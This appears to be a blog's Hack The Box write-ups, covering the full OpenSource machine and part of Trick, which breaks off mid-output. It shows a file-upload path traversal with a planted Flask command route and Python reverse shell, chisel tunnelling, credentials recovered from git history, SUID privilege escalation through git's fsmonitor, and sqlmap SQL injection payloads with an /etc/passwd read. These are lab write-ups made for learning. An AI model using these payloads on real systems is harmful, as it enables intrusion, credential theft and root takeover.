To start enumerating the box, we use our tried and tested old faithful tool of Nmap. As you can see from the output below, we have ports 22, 80 and 3000 open. If I didn’t already know that this was a Linux box then the ports would be a giveaway. Please note, I’ve snipped out some of the output in order to keep it looking neat.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ sudo nmap -sC -sV -p- -A 10.129.227.140
[sudo] password for haxez: 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-15 07:18 GMT
Nmap scan report for 10.129.227.140
Host is up (0.013s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE    SERVICE VERSION
22/tcp   open     ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 1e59057ca958c923900f7523823d055f (RSA)
|   256 48a853e7e008aa1d968652bb8856a0b7 (ECDSA)
|_  256 021f979e3c8e7a1c7caf9d5a254bb8c8 (ED25519)
80/tcp   open     http    Werkzeug/2.1.2 Python/3.10.3
|_http-server-header: Werkzeug/2.1.2 Python/3.10.3
|_http-title: upcloud - Upload files for Free!
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/2.1.2 Python/3.10.3
|     Date: Wed, 15 Mar 2023 07:19:07 GMT
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5316
|     Connection: close
|     <html lang="en">
|     <head>
|     <p>Error code explanation: HTTPStatus.BAD_REQUEST - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>
3000/tcp filtered ppp
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 111/tcp)
HOP RTT      ADDRESS
1   11.64 ms 10.10.14.1
2   11.86 ms 10.129.227.140
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 113.68 seconds

Whats UpCloud?

Do you like UpCloud? Whats UpCloud? doesn’t quite work. Anyway, the web application appears to be advertising some type of file upload/transfer service. The download button allows us to download what appears to be the source code of the application. The take me there button takes us to a live version of the application.

OpenSource Upcloud Web Application

OpenSource Code Analysis

So rather than poke at the application, I’m going to look at the source code. The answers to getting a foothold are likely to be found in the source code. Also, the video I’m watching to assist me is looking at the source code too. We can see that it is using docker.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ tree -R
├── app
│   ├── app
│   │   ├── configuration.py
│   │   ├── __init__.py
│   │   ├── static
│   │   │   ├── css
│   │   │   │   └── style.css
│   │   │   ├── js
│   │   │   │   ├── ie10-viewport-bug-workaround.js
│   │   │   │   └── script.js
│   │   │   └── vendor
│   │   │       ├── bootstrap
│   │   │       │   ├── css
│   │   │       │   │   ├── bootstrap.css
│   │   │       │   │   ├── bootstrap.css.map
│   │   │       │   │   ├── bootstrap-grid.css
│   │   │       │   │   ├── bootstrap-grid.css.map
│   │   │       │   │   ├── bootstrap-grid.min.css
│   │   │       │   │   ├── bootstrap-grid.min.css.map
│   │   │       │   │   ├── bootstrap.min.css
│   │   │       │   │   ├── bootstrap.min.css.map
│   │   │       │   │   ├── bootstrap-reboot.css
│   │   │       │   │   ├── bootstrap-reboot.css.map
│   │   │       │   │   ├── bootstrap-reboot.min.css
│   │   │       │   │   └── bootstrap-reboot.min.css.map
│   │   │       │   └── js
│   │   │       │       ├── bootstrap.bundle.js
│   │   │       │       ├── bootstrap.bundle.js.map
│   │   │       │       ├── bootstrap.bundle.min.js
│   │   │       │       ├── bootstrap.bundle.min.js.map
│   │   │       │       ├── bootstrap.js
│   │   │       │       ├── bootstrap.js.map
│   │   │       │       ├── bootstrap.min.js
│   │   │       │       └── bootstrap.min.js.map
│   │   │       ├── font-awesome
│   │   │       │   └── all.min.css
│   │   │       ├── jquery
│   │   │       │   ├── jquery-3.4.1.js
│   │   │       │   ├── jquery-3.4.1.min.js
│   │   │       │   └── jquery-3.4.1.min.map
│   │   │       └── popper
│   │   │           ├── popper.js
│   │   │           ├── popper.js.flow
│   │   │           ├── popper.js.map
│   │   │           ├── popper.min.js
│   │   │           ├── popper.min.js.map
│   │   │           ├── popper-utils.js
│   │   │           ├── popper-utils.js.map
│   │   │           ├── popper-utils.min.js
│   │   │           └── popper-utils.min.js.map
│   │   ├── templates
│   │   │   ├── index.html
│   │   │   ├── success.html
│   │   │   └── upload.html
│   │   ├── utils.py
│   │   └── views.py
│   ├── INSTALL.md
│   ├── public
│   │   └── uploads
│   └── run.py
├── build-docker.sh
├── config
│   └── supervisord.conf
├── Dockerfile
└── source.zip

A quick look at the Dockerfile suggests the image is Python:3-Alpine. I’ve done a few containers escapes before. I wonder if this is where we’re heading with this. Since docker is running on the host, it makes sense for us to use it to perform the privilege escalation.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ head Dockerfile 
FROM python:3-alpine
# Install packages
RUN apk add --update --no-cache supervisor
# Upgrade pip
RUN python -m pip install --upgrade pip
# Install dependencies
RUN pip install Flask

Change History

I’m not overly familiar with using git outside of using it to clone repositories. It’s something I need to improve upon especially since you can do cool forensic stuff like we’re about to. Can you do git log on any repository you clone? can you also do git show and git checkout on any repository? That’s great but also terrifying. Think of all the hidden credentials or private keys that are hidden in previous iterations of someone’s code.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ git log
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <[email protected]>
Date:   Thu Apr 28 13:55:55 2022 +0200
    clean up dockerfile for production use
commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <[email protected]>
Date:   Thu Apr 28 13:45:17 2022 +0200
    initial

Let’s take a look at the changes made to the most recent commit. From the output below we can see that a few changes were made including setting the environment to production. I’m not sure if this allowed the Wizard to deduce there was a dev branch, or whether there is always a dev branch. I’m going to assume the latter until I read about it later.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ git show 2c67a52253c6fe1f206ad82ba747e43208e8cfd9
commit 2c67a52253c6fe1f206ad82ba747e43208e8cfd9 (HEAD -> public)
Author: gituser <[email protected]>
Date:   Thu Apr 28 13:55:55 2022 +0200
    clean up dockerfile for production use
diff --git a/Dockerfile b/Dockerfile
index 76c7768..5b0553c 100644
--- a/Dockerfile
+++ b/Dockerfile
@@ -29,7 +29,6 @@ ENV PYTHONDONTWRITEBYTECODE=1
 # Set mode
 ENV MODE="PRODUCTION"
-# ENV FLASK_DEBUG=1
 # Run supervisord
 CMD ["/usr/bin/supervisord", "-c", "/etc/supervisord.conf"]

Let’s get the dev branch and view the change history there. We can see that there have been a number of commits. Perhaps going through these will tell us a story about how the application was built. Maybe, there could even be some hard-coded credentials or something.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ git checkout dev
Switched to branch 'dev'
┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ git log
commit c41fedef2ec6df98735c11b2faf1e79ef492a0f3 (HEAD -> dev)
Author: gituser <[email protected]>
Date:   Thu Apr 28 13:47:24 2022 +0200

    ease testing

commit be4da71987bbbc8fae7c961fb2de01ebd0be1997
Author: gituser <[email protected]>
Date:   Thu Apr 28 13:46:54 2022 +0200

    added gitignore

commit a76f8f75f7a4a12b706b0cf9c983796fa1985820
Author: gituser <[email protected]>
Date:   Thu Apr 28 13:46:16 2022 +0200

    updated

commit ee9d9f1ef9156c787d53074493e39ae364cd1e05
Author: gituser <[email protected]>
Date:   Thu Apr 28 13:45:17 2022 +0200

    initial

Pathfinding

According to the Wizard, there is a vulnerability in the following line of code. If you place a forward slash in front of a directory, it will cancel out the initial directory. So, the code below should place us in public/uploads. However, as we control the name of the file we can change the directory. I will have to see it in action before I can understand what’s happening. Sounds interesting though.

file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
OpenSource File Upload

Unfortunately, it does seem that there is some input sanitization going on. The screenshot below shows that the application is attempting to capture ‘../’ from the filename. Hopefully, this shouldn’t cause too much of a problem. Perhaps we could double it up to something like ‘….//’ so that it only strips out the first ‘../’. We will see.

OpenSource Code

OpenSource Exploit Development

Ok, this makes sense to me when watching the video. However, I would have had no idea that this is what you were supposed to do. We take the original views.py file and edit it to add a “command shell” I suppose. Like with PHP and Bash, I imagine this is the Python equivalent and something that I will get used to. We take the original views.py and we add the following section at the bottom.

import os

from app.utils import get_file_name
from flask import render_template, request, send_file

from app import app

@app.route('/')
def index():
    return render_template('index.html')

@app.route('/download')
def download():
    return send_file(os.path.join(os.getcwd(), "app", "static", "source.zip"))

@app.route('/upcloud', methods=['GET', 'POST'])
def upload_file():
    if request.method == 'POST':
        f = request.files['file']
        file_name = get_file_name(f.filename)
        file_path = os.path.join(os.getcwd(), "public", "uploads", file_name)
        f.save(file_path)
        return render_template('success.html', file_url=request.host_url + "uploads/" + file_name)
    return render_template('upload.html')

@app.route('/uploads/<path:path>')
def send_report(path):
    path = get_file_name(path)
    return send_file(os.path.join(os.getcwd(), "public", "uploads", path))

@app.route('/run/<cmd>')
def run_command(cmd):
    import subprocess
    return subprocess.check_output(cmd.split(" "))

Then we save the file and upload it via Burp. We can use the weakness in the file upload code (mentioned previously) to change directories and overwrite the existing file. So we save the file as views.py.

SourceCode Saving Exploit

And then we use Burp to upload it and change the directory to that of the original file. The original directory was ‘/app/app/views.py which we can obtain from generating a file not found error on the application.

SourceCode File Path

OpenSource Foothold Proof Of Concept

I thought this was an extremely cool method of getting command execution. However, I wouldn’t have known what to do myself so I have learned a lot. I definitely need to be more confident when reviewing code. It exploits the file upload weakness to upload a malicious file and gives us command execution.

As you can see from the image below, we have changed the name of the file to ‘/app/app/views.py’. Now, when the file gets uploaded, it should overwrite the original ‘/app/app/views.py’ with our malicious file. Once it is uploaded, we should have command execution.

OpenSource Malicious Upload

With the file uploaded, we can pass commands to the URL in order to run them. For example, I can run the following ‘whoami’ command by visiting ‘http://<target IP>/run/whoami and shockingly we can see that the application is running as root. However, this is probably going to be ‘root’ inside the docker container. We likely have a long way to go still.

Command Execution

OpenSouce Foothold Exploit

We’re now going to add another function to the views.py application. This function is going to be a reverse shell that lets it submit our IP address as an argument. I grabbed a Python payload from PayloadAllTheThings and modified it so that it would work with the existing code. Obviously, I was just copying everything that the Wizard was doing.

@app.route('/revshell/<ip>')
def rev_shell(ip):
    import socket,os,pty
    s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
    s.connect(("ip",1337))
    os.dup2(s.fileno(),0)
    os.dup2(s.fileno(),1)
    os.dup2(s.fileno(),2)
    pty.spawn("/bin/sh")

We can then go back to Repeater in Burpsuite and add our code to the bottom of the request and resend it. If it comes back with a 200 we should be good, if it errors then remove the changes, send the request to update it and try again.

Burp Suite Repeater

Then start a listener on the port you chose (in my case 1337, because of course).

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ sudo nc -lvnp 1337
[sudo] password for haxez: 
listening on [any] 1337 ...

Then you visit the application route that you created in your browser and pass it your IP address. Unfortunately, it seems I got a socket error for some reason so I will need to go back and look at the code. Once, I’ve fixed that I will try again.

Error Message

And I spotted my mistake, In the ‘s.connect((ip,10001))’ section, I still had the ‘ip’ in quotation marks. That makes sense. Ok, we now have a shell. Not a very good shell admittidly.

System Enumeration

This is a cool trick, after connecting to the host we can check the IP address and see that it is on a completely different range than the target. For example, the target IP for OpenSource is 10.129.227.140 but the IP returned in the shell is 172.17.0.8. This is a huge sign that we’re inside a container. We can further confirm this by using netcat to connect to the container host on port 22 via the first IP address in that range (like a default gateway I suppose).

1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
24: [email protected]: <BROADCAST,MULTICAST,UP,LOWER_UP,M-DOWN> mtu 1500 qdisc noqueue state UP 
    link/ether 02:42:ac:11:00:08 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.8/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

nc 172.17.0.1 22
SSH-2.0-OpenSSH_7.6p1 Ubuntu-4ubuntu0.7

Chiseling Through

Ok, so we’re on the container. We also know from our nmap scan that there was a port 3000. We can use a program called chisel to port forward the hosts port 3000 through our container so that we can access it locally. First, download the chisel program and use a python webserver to get it onto the docker container. Then on your attack box, start a server.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ ./chisel server -p 8001 --reverse
2023/03/15 09:59:54 server: Reverse tunnelling enabled
2023/03/15 09:59:54 server: Fingerprint PIZtzkgEwf3R2bylwQt/I86a2MUk/1eeKGSkL+nHRAU=
2023/03/15 09:59:54 server: Listening on http://0.0.0.0:8001

Then on the target, create a client that connects to your host.

/tmp # ./chisel client 10.10.14.126:8001 R:3000:172.17.0.1:3000
2023/03/15 10:17:32 client: Connecting to ws://10.10.14.126:8001
2023/03/15 10:17:32 client: Connected (Latency 12.057386ms)
172.17.0.1 - - [15/Mar/2023 10:18:03] "GET / HTTP/1.1" 200 -

We now have a new website which we can access by visiting http://localhost:3000. It looks like a git-style version management portal. I’ve never heard of Gitea before but now I’m going to have to go and research it in my own time.

OpenSource Gitea

We can also see that the application has a login page. However, we don’t appear to have any credentials for it. Perhaps we can find them in the source code we downloaded earlier.

OpenSource Getting User

Gittea login page

I need to speed this up as I’m supposed to be working but let’s break it down quickly. First, we need to change to a different thing by running git checkout.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource]
└──╼ [★]$ git checkout a76f8f75f7a4a12b706b0cf9c983796fa1985820

Now we can grab the credentials from the settings.json file found in the hidden .vscode directory. We can use these credentials to login to the application.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~/OpenSource/app/.vscode]
└──╼ [★]$ cat settings.json 
{
  "python.pythonPath": "/home/dev01/.virtualenvs/flask-app-b5GscEs_/bin/python",
  "http.proxy": "http://dev01:Soulless_Developer#[email protected]:5187/",
  "http.proxyStrictSSL": false
}
OpenSource Gitea Logged in

Attempting to navigate to the backup repository gives us an error. We need to add the URL to our host file.

OpenSource no route
echo '127.0.0.1 opensource.htb' | sudo tee -a /etc/hosts
OpenSource Private key

The developer backed up his home directory including his private key. We can steal this, pop it into a text document, give it 600 permissions and use it to SSH to the server. From here we should be able to grab the user flag to. This has been a long path to get to the user, I hope root is fairly straightforward.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ vim dev.key
┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ chmod 600 dev.key
┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[~]
└──╼ [★]$ ssh -i dev.key [email protected]
The authenticity of host '10.129.227.140 (10.129.227.140)' can't be established.
ECDSA key fingerprint is SHA256:a6VljAI6pLD7/108ls+Bi5y88kWaYI6+V4lTU0KQsQU.
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.129.227.140' (ECDSA) to the list of known hosts.
Welcome to Ubuntu 18.04.5 LTS (GNU/Linux 4.15.0-176-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

  System information as of Wed Mar 15 10:36:34 UTC 2023

  System load:  0.03              Processes:              217
  Usage of /:   75.6% of 3.48GB   Users logged in:        0
  Memory usage: 22%               IP address for eth0:    10.129.227.140
  Swap usage:   0%                IP address for docker0: 172.17.0.1


16 updates can be applied immediately.
9 of these updates are standard security updates.
To see these additional updates run: apt list --upgradable


Last login: Mon May 16 13:13:33 2022 from 10.10.14.23
[email protected]:~$ cat /home/dev01/user.txt 
e67▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓659

OpenSource Privilege Escalation

I downloaded a copy of pspy64 to the directory of my Python3 webserver. Then I used wget on the OpenSource target gox to download the file. I gave it executable permissions and ran it to see what processes were running. The following process stands out ‘/bin/bash /usr/local/bin/git-sync’.

[email protected]:/tmp$ ./pspy64 
pspy - version: v1.2.1 - Commit SHA: f9e6a1590a4312b9faa093d8dc84e19567977a6d
     ██▓███    ██████  ██▓███ ▓██   ██▓
    ▓██░  ██▒▒██    ▒ ▓██░  ██▒▒██  ██▒
    ▓██░ ██▓▒░ ▓██▄   ▓██░ ██▓▒ ▒██ ██░
    ▒██▄█▓▒ ▒  ▒   ██▒▒██▄█▓▒ ▒ ░ ▐██▓░
    ▒██▒ ░  ░▒██████▒▒▒██▒ ░  ░ ░ ██▒▓░
    ▒▓▒░ ░  ░▒ ▒▓▒ ▒ ░▒▓▒░ ░  ░  ██▒▒▒ 
    ░▒ ░     ░ ░▒  ░ ░░▒ ░     ▓██ ░▒░ 
    ░░       ░  ░  ░  ░░       ▒ ▒ ░░  
                   ░           ░ ░     
                               ░ ░     
Config: Printing events (colored=true): processes=true | file-system-events=false ||| Scanning for processes every 100ms and on inotify events ||| Watching directories: [/usr /tmp /etc /home /var /opt] (recursive) | [] (non-recursive)
Draining file system events due to startup...
2023/03/15 10:49:01 CMD: UID=0     PID=8943   | /bin/bash /usr/local/bin/git-sync 
2023/03/15 10:49:01 CMD: UID=0     PID=8944   | /bin/bash /usr/local/bin/git-sync 
2023/03/15 10:49:01 CMD: UID=0     PID=8946   | /bin/bash /usr/local/bin/git-sync 
2023/03/15 10:49:01 CMD: UID=0     PID=8947   | /usr/lib/git-core/git-remote-http 

Let’s take a look at this file. It seems that it is looking for changes in /home/dev01. If there are any changes then it performs a git commit.

[email protected]:/tmp$ ls -lash /usr/local/bin/git-sync
4.0K -rwxr-xr-x 1 root root 239 Mar 23  2022 /usr/local/bin/git-sync
[email protected]:/tmp$ cat /usr/local/bin/git-sync
#!/bin/bash

cd /home/dev01/

if ! git status --porcelain; then
    echo "No changes"
else
    day=$(date +'%Y-%m-%d')
    echo "Changes detected, pushing.."
    git add .
    git commit -m "Backup for ${day}"
    git push origin main
fi

According to the official walkthrough, we can abuse this by adding a command to the .git/config file to give the /bin/bash binary SUID permissions so that it will automatically elevate us to root when we run it. Let’s give it a go. The following line needs to be added to the .git/config file, then the fsmonitor command will get executed when git commit is run.

fsmonitor = "chmod 4755 /bin/bash"
Changing the config.

And that is that after waiting a moment you can list the ‘/bin/bash’ file and see that it now has the SUID bit set. You need only run the bash command to elevate to root and capture the root flag.

bash-4.4$ ls -laSh /bin/bash
-rwsr-xr-x 1 root root 1.1M Apr 18  2022 /bin/bash
bash-4.4$ bash -p
bash-4.4# whoami
root

bash-4.4# cat /root/root.txt
9eb▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓8f7 

OpenSource Review

I had a lot of fun with this one and learnt a lot. I can honestly say though that I wouldn’t have had a clue what to do. The path to the user flag was very complicated. I realise the word ‘very’ is unessasary here but it was VERY complicated. We had to pivot through docker containers and learn how to use versioning in git. Wow. While I definitely don’t think this was easy, it was fun.

Hack The Box Trick Writeup

Hello world and welcome to Haxez. I’m back, attempting to hack my way into the Hack The Box machine called Trick. It’s currently 7:00am on a Tuesday, I have work in a couple of hours but let’s see if we can smash this out before I have to go back to the 9-5. Please note, this isn’t a walkthrough. This is a retired machine write-up that I’m using to skill up.

Trick Enumeration

First, I pinged the box to make sure it was online and then ran a Nmap scan to see what services were listening. As you can see from the output below, SSH, SMTP, DNS and HTTP are open. Some ideas instantly sprang to mind such as enumerating users through SMTP and performing a DNS zone transfer.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ sudo nmap -sC -sV -p- -O -A 10.129.245.209 -oA trick
Starting Nmap 7.93 ( https://nmap.org ) at 2023-03-14 07:05 GMT
Stats: 0:02:45 elapsed; 0 hosts completed (1 up), 1 undergoing Service Scan
Service scan Timing: About 75.00% done; ETC: 07:09 (0:00:51 remaining)
Nmap scan report for 10.129.245.209
Host is up (0.013s latency).
Not shown: 65531 closed tcp ports (reset)
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10+deb10u2 (protocol 2.0)
| ssh-hostkey: 
|   2048 61ff293b36bd9dacfbde1f56884cae2d (RSA)
|   256 9ecdf2406196ea21a6ce2602af759a78 (ECDSA)
|_  256 7293f91158de34ad12b54b4a7364b970 (ED25519)
25/tcp open  smtp?
|_smtp-commands: Couldn't establish connection on port 25
53/tcp open  domain  ISC BIND 9.11.5-P4-5.1+deb10u7 (Debian Linux)
| dns-nsid: 
|_  bind.version: 9.11.5-P4-5.1+deb10u7-Debian
80/tcp open  http    nginx 1.14.2
|_http-title: Coming Soon - Start Bootstrap Theme
|_http-server-header: nginx/1.14.2
Device type: general purpose
Running: Linux 5.X
OS CPE: cpe:/o:linux:linux_kernel:5.0
OS details: Linux 5.0
Network Distance: 2 hops
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
TRACEROUTE (using port 5900/tcp)
HOP RTT      ADDRESS
1   12.44 ms 10.10.14.1
2   12.60 ms 10.129.245.209
OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 254.61 seconds

Going in numerical order, I skipped over SSH because unless we brute force it, and have a password or private key, we aren’t getting in. I had a poke at SMTP but there was a weird delay when running commands. I believe I was able to VRFY the root user but I decided I would come back to this later if I needed to.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ nc 10.129.245.209 25
helo
220 debian.localdomain ESMTP Postfix (Debian/GNU)
501 Syntax: HELO hostname
HELO 10.129.245.209
250 debian.localdomain
VRFY root
252 2.0.0 root

That left me with DNS. I used the dig command to query the server for the server’s IP address. The output below shows that the server has a zone file for the domain trick.htb.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ dig @10.129.245.209 -x 10.129.245.209
; <<>> DiG 9.18.11-2~bpo11+1-Debian <<>> @10.129.245.209 -x 10.129.245.209
; (1 server found)
;; global options: +cmd
;; Got answer:
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 48616
;; flags: qr aa rd; QUERY: 1, ANSWER: 1, AUTHORITY: 1, ADDITIONAL: 3
;; WARNING: recursion requested but not available

;; OPT PSEUDOSECTION:
; EDNS: version: 0, flags:; udp: 4096
; COOKIE: 471a94ac095c0d0aa827a7e8641020d5aa7d0e001cec001a (good)
;; QUESTION SECTION:
;209.245.129.10.in-addr.arpa.	IN	PTR

;; ANSWER SECTION:
209.245.129.10.in-addr.arpa. 604800 IN	PTR	trick.htb.

;; AUTHORITY SECTION:
245.129.10.in-addr.arpa. 604800	IN	NS	trick.htb.

;; ADDITIONAL SECTION:
trick.htb.		604800	IN	A	127.0.0.1
trick.htb.		604800	IN	AAAA	::1

;; Query time: 16 msec
;; SERVER: 10.129.245.209#53(10.129.245.209) (UDP)
;; WHEN: Tue Mar 14 07:23:02 GMT 2023
;; MSG SIZE  rcvd: 165

I added trick.htb to my host file.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ sudo echo '10.129.245.209 trick.htb' | sudo tee -a /etc/hosts
10.129.245.209 trick.htb

As DNS TCP was open, I attempted to perform a zone transfer for trick.htb to see what other records there were in its zone file. The results below show the output of the host command. As you can see, there is a subdomain called preprod-payroll.trick.htb.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ host -t axfr trick.htb 10.129.245.209
Trying "trick.htb"
Using domain server:
Name: 10.129.245.209
Address: 10.129.245.209#53
Aliases: 
;; ->>HEADER<<- opcode: QUERY, status: NOERROR, id: 47562
;; flags: qr aa; QUERY: 1, ANSWER: 6, AUTHORITY: 0, ADDITIONAL: 0
;; QUESTION SECTION:
;trick.htb.			IN	AXFR
;; ANSWER SECTION:
trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
trick.htb.		604800	IN	NS	trick.htb.
trick.htb.		604800	IN	A	127.0.0.1
trick.htb.		604800	IN	AAAA	::1
preprod-payroll.trick.htb. 604800 IN	CNAME	trick.htb.
trick.htb.		604800	IN	SOA	trick.htb. root.trick.htb. 5 604800 86400 2419200 604800
Received 192 bytes from 10.129.245.209#53 in 13 ms

I added this to my host file too.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ sudo echo '10.129.245.209 preprod-payroll.trick.htb' | sudo tee -a /etc/hosts
10.129.245.209 preprod-payroll.trick.htb

Walking The Websites

I visited the first website (trick.htb) and it didn’t appear that there was much there. It had an under-construction page.

trick.htb

I decided to skip further enumeration of this domain and visited the pre-production payroll website. If it’s pre-production then it’s still in development. If it’s still in development then it could have vulnerabilities. Not that production sites don’t have vulnerabilities but you know what I mean. As this page has a login form, but we don’t yet have credentials, I assume that it is vulnerable to SQL injection.

http://preprod-payroll.trick.htb/

Trick Preproduction Payroll Application SQL Injection

Running an initial SQLMap scan against the application shows that the login parameters are vulnerable to SQL Injection. I followed the official walkthrough for this. It’s extremely cool how we go from finding SQL Injection to being able to read files. We start with a regular SQL injection. You can see from the results below that it found a time-based attack.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick/]
└──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --batch
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.12#stable}
|_ -| . [)]     | .'| . |
|___|_  ["]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=abc' AND (SELECT 2307 FROM (SELECT(SLEEP(5)))gjOv) AND 'RZSQ'='RZSQ&password=abc
---

Time-based attacks are slow we need to identify if there are any other methods that the server is vulnerable to. To do this we expand the techniques being used. As you can see below, we have now discovered that we have error-based and blind boolean-based SQL Injections.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --level 5 --risk 3 --technique=BEUS --batch
        ___
       __H__
 ___ ___[,]_____ ___ ___  {1.6.12#stable}
|_ -| . [']     | .'| . |
|___|_  [(]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
---
Parameter: username (POST)
    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abc

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc

So, in the official write-up, the author then goes on to check the privileges afforded to the SQL server user. As you can see below, the user has FILE privilege which allows them to read files. We can use this to read files that the user has permission to read on the server.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick/]
└──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --privileges
        ___
       __H__
 ___ ___[']_____ ___ ___  {1.6.12#stable}
|_ -| . [)]     | .'| . |
|___|_  [.]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org
---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=abc' AND (SELECT 2307 FROM (SELECT(SLEEP(5)))gjOv) AND 'RZSQ'='RZSQ&password=abc

    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abc

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: username=abc' OR (SELECT 4426 FROM(SELECT COUNT(*),CONCAT(0x71787a6a71,(SELECT (ELT(4426=4426,1))),0x717a767871,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- VaIS&password=abc
---
database management system users privileges:
[*] 'remo'@'localhost' [1]:
    privilege: FILE

Using this method, we can retrieve the /etc/passwd file and see what users there are on the system. The more information we have the better.

┌─[eu-dedivip-1]─[10.10.14.126]─[[email protected]]─[/Trick]
└──╼ [★]$ sqlmap -u http://preprod-payroll.trick.htb/ajax.php?action=login --data="username=abc&password=abc" -p username --batch --file-read=/etc/passwd
        ___
       __H__
 ___ ___[(]_____ ___ ___  {1.6.12#stable}
|_ -| . [,]     | .'| . |
|___|_  [,]_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

---
Parameter: username (POST)
    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: username=abc' AND (SELECT 2307 FROM (SELECT(SLEEP(5)))gjOv) AND 'RZSQ'='RZSQ&password=abc

    Type: boolean-based blind
    Title: OR boolean-based blind - WHERE or HAVING clause (NOT)
    Payload: username=abc' OR NOT 5700=5700-- AlDN&password=abc

    Type: error-based
    Title: MySQL >= 5.0 OR error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
